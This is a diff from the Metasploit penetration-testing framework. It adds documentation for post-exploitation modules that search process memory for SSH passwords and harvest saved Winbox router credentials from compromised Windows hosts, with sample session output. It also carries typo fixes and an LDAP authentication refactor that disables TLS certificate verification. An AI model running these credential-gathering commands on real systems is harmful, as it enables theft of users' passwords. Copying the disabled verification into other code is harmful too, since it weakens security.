3 meterpreter x64/windows DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB 192.168.112.1:4444 -> 192.168.112.129:55513 (192.168.112.129)
msf6 post(multi/gather/memory_search) > run session=-1 regex="publickey,password.*" process_ids='' process_names_glob="ssh.*"
[*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds...
[*] Getting target processes...
[*] Running against the following processes:
ssh.exe (pid: 4292)
[*] Memory Matches for ssh.exe (pid: 4292)
======================================
Match Address Match Length Match Buffer Memory Region Start Memory Region Size
------------- ------------ ------------ ------------------- ------------------
0x0000000A00060DF0 127 "publickey,password......3.......myverysecretpassword....................#.........#.......... 0x0000000A00000000 0x0000000000090000
...........S......................"
[*] Post module execution completed
```
### Windows 10 - Python3 HTTP Server
In this scenario, the Windows target is running the `http.server` module in Python:
```
msf6 post(multi/gather/memory_search) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
3 meterpreter x64/windows DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB 192.168.112.1:4444 -> 192.168.112.129:55513 (192.168.112.129)
msf6 post(multi/gather/memory_search) > run session=-1 regex="GET /.*" process_ids='' process_names_glob="python.*|[Ww]indows[Tt]erminal.*"
[*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds...
[*] Getting target processes...
[*] Running against the following processes:
WindowsTerminal.exe (pid: 9168)
python.exe (pid: 2816)
[*] Memory Matches for WindowsTerminal.exe (pid: 9168)
==================================================
Match Address Match Length Match Buffer Memory Region Start Memory Region Size
------------- ------------ ------------ ------------------- ------------------
0x00000121C3458649 127 "GET /.portable HTTP/1.1\" 200 -...::ffff:192.168.112.1 - - [17/Jan/2024 14:36:38] \"GET /favi 0x00000121C3449000 0x000000000001B000
con.ico HTTP/1.1\" 404 -..windows-ter"
[*] Memory Matches for python.exe (pid: 2816)
=========================================
Match Address Match Length Match Buffer Memory Region Start Memory Region Size
------------- ------------ ------------ ------------------- ------------------
0x0000013A0E3017D1 127 "GET /.portable HTTP/1.1\" 200 -.....:.....Q.:...................0.Q.:...0.Q.:.....Q.:.....Q.: 0x0000013A0E270000 0x00000000000FF000
...pAR.:...pAR.:...0.Q.:...0.Q.:..."
0x0000013A1063DC21 127 "GET /.portable HTTP/1.1\" 200 -...t-black.ico...`@l.:.....h.:..............&.............l.&. 0x0000013A105E0000 0x0000000000100000
....l.&.....l.&.....l.&......k.:..."
0x0000013A1063E5B1 127 "GET /.portable HTTP/1.1\" 200 -...b.l.e...o.....P.c.:...s.e.r.s.\\.w.i.n.1.0.\\.s.c.o.o.p.\\. 0x0000013A105E0000 0x0000000000100000
a.p.p.s.\\.w.i.n.d.o.w.s.-.t.e.r.m.i.n."
0x0000013A1067EC41 127 "GET /Images/ HTTP/1.1\" 200 -...@.g.:...p..&....2.................012345........<li><a href=\ 0x0000013A105E0000 0x0000000000100000
"defaults.json\">defaults.json</a></l"
0x0000013A106CADD0 127 "GET /.portable HTTP/1.1...p&.............x..:...P...:...0.l.:....ta$.e$j..k.:... lk.:........ 0x0000013A105E0000 0x0000000000100000
...0.l.:......................&..."
0x0000013A106CF940 127 "GET /.portable HTTP/1.1...........l.:...................Pf.&.....^.&......e.:................ 0x0000013A105E0000 0x0000000000100000
....Sn&....s.......P.l.:...p..&..."
[*] Post module execution completed
```
@@ -0,0 +1,37 @@
## Vulnerable Application
Any Windows host with a `meterpreter` session and Mikrotik Winbox installed.
Winbox can be downloaded [here](https://mikrotik.com/download)
### Installation Steps
1. Download and open Mikrotik Winbox
2. Enter a RouterOS device address into `Connect to`, username into `Login`, password into `Password` and check the flag `Keep Password`
3. Click Connect
## Verification Steps
1. Get a `meterpreter` session on a Windows host.
2. Do: `run post/windows/gather/credentials/winbox_settings`
3. If any users in the system has a `Keep Password` enabled in Winbox, the credentials will be printed out.
## Options
### VERBOSE
- By default verbose is turned off. When turned on, the module will show the HexDump of `settings.cfg.viw` files.
## Scenarios
```
msf6 post(windows/gather/credentials/winbox_settings) > run
[*] VERBOSE: false
[*] Checking Default Locations...
[*] C:\Users\Administrator\AppData\Roaming\Mikrotik\Winbox\settings.cfg.viw not found ....
[*] Found File at C:\Users\FooBar\AppData\Roaming\Mikrotik\Winbox\settings.cfg.viw
[+] Login: ThisIsUsername
[+] Password: ThisIsPassword
[*] Post module execution completed
```
+1 -1
View File
@@ -22,7 +22,7 @@ Synopsis:
Options:
-r, --relative Output relative URLs (rather than absolute)
-o, --output filename Filename to save URL list to. Defautls to urls.txt.
-o, --output filename Filename to save URL list to. Defaults to urls.txt.
INFO
exit(0)
end
+1 -1
View File
@@ -102,7 +102,7 @@ module Anemone
end
#
# Add one ore more Regex patterns for URLs which should not be
# Add one or more Regex patterns for URLs which should not be
# followed
#
def skip_links_like(*patterns)
+2 -2
View File
@@ -16,7 +16,7 @@
== 0.4.0 / 2010-04-08
* Major enchancements
* Major enhancements
* Cookies can be accepted and sent with each HTTP request.
@@ -38,7 +38,7 @@
== 0.3.0 / 2009-12-15
* Major enchancements
* Major enhancements
* Option for persistent storage of pages during crawl with TokyoCabinet or PStore
+2 -2
View File
@@ -83,7 +83,7 @@ module Metasploit
when -5001 #kFPAuthContinue
return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma,
:password => pass, :user => user})
when -5023 #kFPUserNotAuth (User dosen't exists)
when -5023 #kFPUserNotAuth (User doesn't exists)
return :skip_user
else
return :connection_error
@@ -273,7 +273,7 @@ module Metasploit
parsed_addreses << IPAddr.ntop(address[1..4]).to_s
when 2 # Four-byte IP address followed by a two-byte port number
parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}"
when 3 # DDP address (depricated)
when 3 # DDP address (deprecated)
next
when 4 # DNS name (maximum of 254 bytes)
parsed_addreses << address[1..address.length - 1]
+1 -1
View File
@@ -2,7 +2,7 @@ module Metasploit
module Framework
module API
# @note This is a lie. The API version is not semantically version and it's version has actually never changed
# even though API changes have occured. DO NOT base compatibility on this version.
# even though API changes have occurred. DO NOT base compatibility on this version.
module Version
MAJOR = 1
MINOR = 0
@@ -43,6 +43,11 @@ module Metasploit::Framework::CommonEngine
if ActiveRecord.respond_to?(:legacy_connection_handling=)
ActiveRecord.legacy_connection_handling = false
end
# @see https://github.com/rapid7/metasploit_data_models/blob/54a17149d5ccd0830db742d14c4987b48399ceb7/lib/metasploit_data_models/yaml.rb#L10
# @see https://github.com/rapid7/metasploit_data_models/blob/54a17149d5ccd0830db742d14c4987b48399ceb7/lib/metasploit_data_models/base64_serializer.rb#L28-L31
ActiveRecord.yaml_column_permitted_classes = (ActiveRecord.yaml_column_permitted_classes + MetasploitDataModels::YAML::PERMITTED_CLASSES).uniq
#
# `initializer`s
#
+2 -2
View File
@@ -16,7 +16,7 @@ module Metasploit
# @return [Object] the parent object that had .to_credential called on it to create this object
attr_accessor :parent
# @!attribute private
# The private credential component (e.g. username)
# The private credential component (e.g. password)
#
# @return [String] if {#paired} is `true` or {#private} is `nil`
# @return [String, nil] if {#paired} is `false` or {#private} is not `nil`.
@@ -28,7 +28,7 @@ module Metasploit
# @return [String]
attr_accessor :private_type
# @!attribute public
# The public credential component (e.g. password)
# The public credential component (e.g. username)
#
# @return [String] if {#paired} is `true` or {#public} is `nil`
# @return [String, nil] if {#paired} is `false` or {#public} is not `nil`.
+1 -1
View File
@@ -17,7 +17,7 @@ module Metasploit
# Module Methods
#
# Returns first configuration pathname from configuration_pathnames or the overridding `:path`.
# Returns first configuration pathname from configuration_pathnames or the overriding `:path`.
#
# @param options [Hash{Symbol=>String}]
# @option options [String] :path Path to use instead of first element of configurations_pathnames
+1 -1
View File
@@ -165,7 +165,7 @@ module Metasploit
# dispatch to the proper method
if (type == "get")
# failed listings jsut disconnect..
# failed listings just disconnect..
begin
data = self.datasocket.get_once(-1, ftp_timeout)
rescue ::EOFError
+121 -96
View File
@@ -24,112 +24,137 @@ module Metasploit
case opts[:ldap_auth]
when Msf::Exploit::Remote::AuthOption::SCHANNEL
pfx_path = opts[:ldap_cert_file]
raise Msf::ValidationError, 'The LDAP::CertFile option is required when using SCHANNEL authentication.' if pfx_path.blank?
raise Msf::ValidationError, 'The SSL option must be enabled when using SCHANNEL authentication.' if ssl != true
raise Msf::ValidationError, 'The SSL option must be enabled when using SCHANNEL authentication.' unless ssl
unless ::File.file?(pfx_path) && ::File.readable?(pfx_path)
raise Msf::ValidationError, 'Failed to load the PFX certificate file. The path was not a readable file.'
end
begin
pkcs = OpenSSL::PKCS12.new(File.binread(pfx_path), '')
rescue StandardError => e
raise Msf::ValidationError, "Failed to load the PFX file (#{e})"
end
connect_opts[:auth] = {
method: :sasl,
mechanism: 'EXTERNAL',
initial_credential: '',
challenge_response: true
}
connect_opts[:encryption] = {
method: :start_tls,
tls_options: {
verify_mode: OpenSSL::SSL::VERIFY_NONE,
cert: pkcs.certificate,
key: pkcs.key
}
}
connect_opts.merge!(ldap_auth_opts_scahnnel(opts))
when Msf::Exploit::Remote::AuthOption::KERBEROS
raise Msf::ValidationError, 'The Ldap::Rhostname option is required when using Kerberos authentication.' if opts[:ldap_rhostname].blank?
raise Msf::ValidationError, 'The DOMAIN option is required when using Kerberos authentication.' if opts[:domain].blank?
offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(opts[:ldap_krb_offered_enc_types])
raise Msf::ValidationError, 'At least one encryption type is required when using Kerberos authentication.' if offered_etypes.empty?
kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::LDAP.new(
host: opts[:domain_controller_rhost].blank? ? nil : opts[:domain_controller_rhost],
hostname: opts[:ldap_rhostname],
realm: opts[:domain],
username: opts[:username],
password: opts[:password],
framework: opts[:framework],
framework_module: opts[:framework_module],
cache_file: opts[:ldap_krb5_cname].blank? ? nil : opts[:ldap_krb5_cname],
ticket_storage: opts[:kerberos_ticket_storage],
offered_etypes: offered_etypes
)
connect_opts[:auth] = {
method: :sasl,
mechanism: 'GSS-SPNEGO',
initial_credential: proc do
kerberos_result = kerberos_authenticator.authenticate
kerberos_result[:security_blob]
end,
challenge_response: true
}
connect_opts.merge!(ldap_auth_opts_kerberos(opts))
when Msf::Exploit::Remote::AuthOption::NTLM
ntlm_client = RubySMB::NTLM::Client.new(
opts[:username],
opts[:password],
workstation: 'WORKSTATION',
domain: opts[:domain].blank? ? '.' : opts[:domain],
flags:
RubySMB::NTLM::NEGOTIATE_FLAGS[:UNICODE] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:REQUEST_TARGET] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:NTLM] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:ALWAYS_SIGN] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:EXTENDED_SECURITY] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:KEY_EXCHANGE] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:TARGET_INFO] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:VERSION_INFO]
)
negotiate = proc do |challenge|
ntlmssp_offset = challenge.index('NTLMSSP')
type2_blob = challenge.slice(ntlmssp_offset..-1)
challenge = [type2_blob].pack('m')
type3_message = ntlm_client.init_context(challenge)
type3_message.serialize
end
connect_opts[:auth] = {
method: :sasl,
mechanism: 'GSS-SPNEGO',
initial_credential: ntlm_client.init_context.serialize,
challenge_response: negotiate
}
connect_opts.merge!(ldap_auth_opts_ntlm(opts))
when Msf::Exploit::Remote::AuthOption::PLAINTEXT
connect_opts[:auth] = {
method: :simple,
username: opts[:username],
password: opts[:password]
}
connect_opts.merge!(ldap_auth_opts_plaintext(opts))
when Msf::Exploit::Remote::AuthOption::AUTO
unless opts[:username].blank? # plaintext if specified
connect_opts[:auth] = {
method: :simple,
username: opts[:username],
password: opts[:password]
}
if opts[:username].present? && opts[:domain].present?
connect_opts.merge!(ldap_auth_opts_ntlm(opts))
elsif opts[:username].present?
connect_opts.merge!(ldap_auth_opts_plaintext(opts))
end
end
connect_opts
end
private
def ldap_auth_opts_kerberos(opts)
auth_opts = {}
raise Msf::ValidationError, 'The Ldap::Rhostname option is required when using Kerberos authentication.' if opts[:ldap_rhostname].blank?
raise Msf::ValidationError, 'The DOMAIN option is required when using Kerberos authentication.' if opts[:domain].blank?
offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(opts[:ldap_krb_offered_enc_types])
raise Msf::ValidationError, 'At least one encryption type is required when using Kerberos authentication.' if offered_etypes.empty?
kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::LDAP.new(
host: opts[:domain_controller_rhost].blank? ? nil : opts[:domain_controller_rhost],
hostname: opts[:ldap_rhostname],
realm: opts[:domain],
username: opts[:username],
password: opts[:password],
framework: opts[:framework],
framework_module: opts[:framework_module],
cache_file: opts[:ldap_krb5_cname].blank? ? nil : opts[:ldap_krb5_cname],
ticket_storage: opts[:kerberos_ticket_storage],
offered_etypes: offered_etypes
)
auth_opts[:auth] = {
method: :sasl,
mechanism: 'GSS-SPNEGO',
initial_credential: proc do
kerberos_result = kerberos_authenticator.authenticate
kerberos_result[:security_blob]
end,
challenge_response: true
}
auth_opts
end
def ldap_auth_opts_ntlm(opts)
auth_opts = {}
ntlm_client = RubySMB::NTLM::Client.new(
opts[:username],
opts[:password],
workstation: 'WORKSTATION',
domain: opts[:domain].blank? ? '.' : opts[:domain],
flags:
RubySMB::NTLM::NEGOTIATE_FLAGS[:UNICODE] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:REQUEST_TARGET] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:NTLM] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:ALWAYS_SIGN] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:EXTENDED_SECURITY] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:KEY_EXCHANGE] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:TARGET_INFO] |
RubySMB::NTLM::NEGOTIATE_FLAGS[:VERSION_INFO]
)
negotiate = proc do |challenge|
ntlmssp_offset = challenge.index('NTLMSSP')
type2_blob = challenge.slice(ntlmssp_offset..-1)
challenge = [type2_blob].pack('m')
type3_message = ntlm_client.init_context(challenge)
type3_message.serialize
end
auth_opts[:auth] = {
method: :sasl,
mechanism: 'GSS-SPNEGO',
initial_credential: ntlm_client.init_context.serialize,
challenge_response: negotiate
}
auth_opts
end
def ldap_auth_opts_plaintext(opts)
auth_opts = {}
auth_opts[:auth] = {
method: :simple,
username: opts[:username],
password: opts[:password]
}
auth_opts
end
def ldap_auth_opts_scahnnel(opts)
auth_opts = {}
pfx_path = opts[:ldap_cert_file]
raise Msf::ValidationError, 'The LDAP::CertFile option is required when using SCHANNEL authentication.' if pfx_path.blank?
unless ::File.file?(pfx_path) && ::File.readable?(pfx_path)
raise Msf::ValidationError, 'Failed to load the PFX certificate file. The path was not a readable file.'
end
begin
pkcs = OpenSSL::PKCS12.new(File.binread(pfx_path), '')
rescue StandardError => e
raise Msf::ValidationError, "Failed to load the PFX file (#{e})"
end
auth_opts[:auth] = {
method: :sasl,
mechanism: 'EXTERNAL',
initial_credential: '',
challenge_response: true
}
auth_opts[:encryption] = {
method: :start_tls,
tls_options: {
verify_mode: OpenSSL::SSL::VERIFY_NONE,
cert: pkcs.certificate,
key: pkcs.key
}
}
auth_opts
end
end
end
end
@@ -24,7 +24,7 @@ module Metasploit
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attmpt to login with
# @param credential [Credential] The credential object to attempt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {

Some files were not shown because too many files have changed in this diff Show More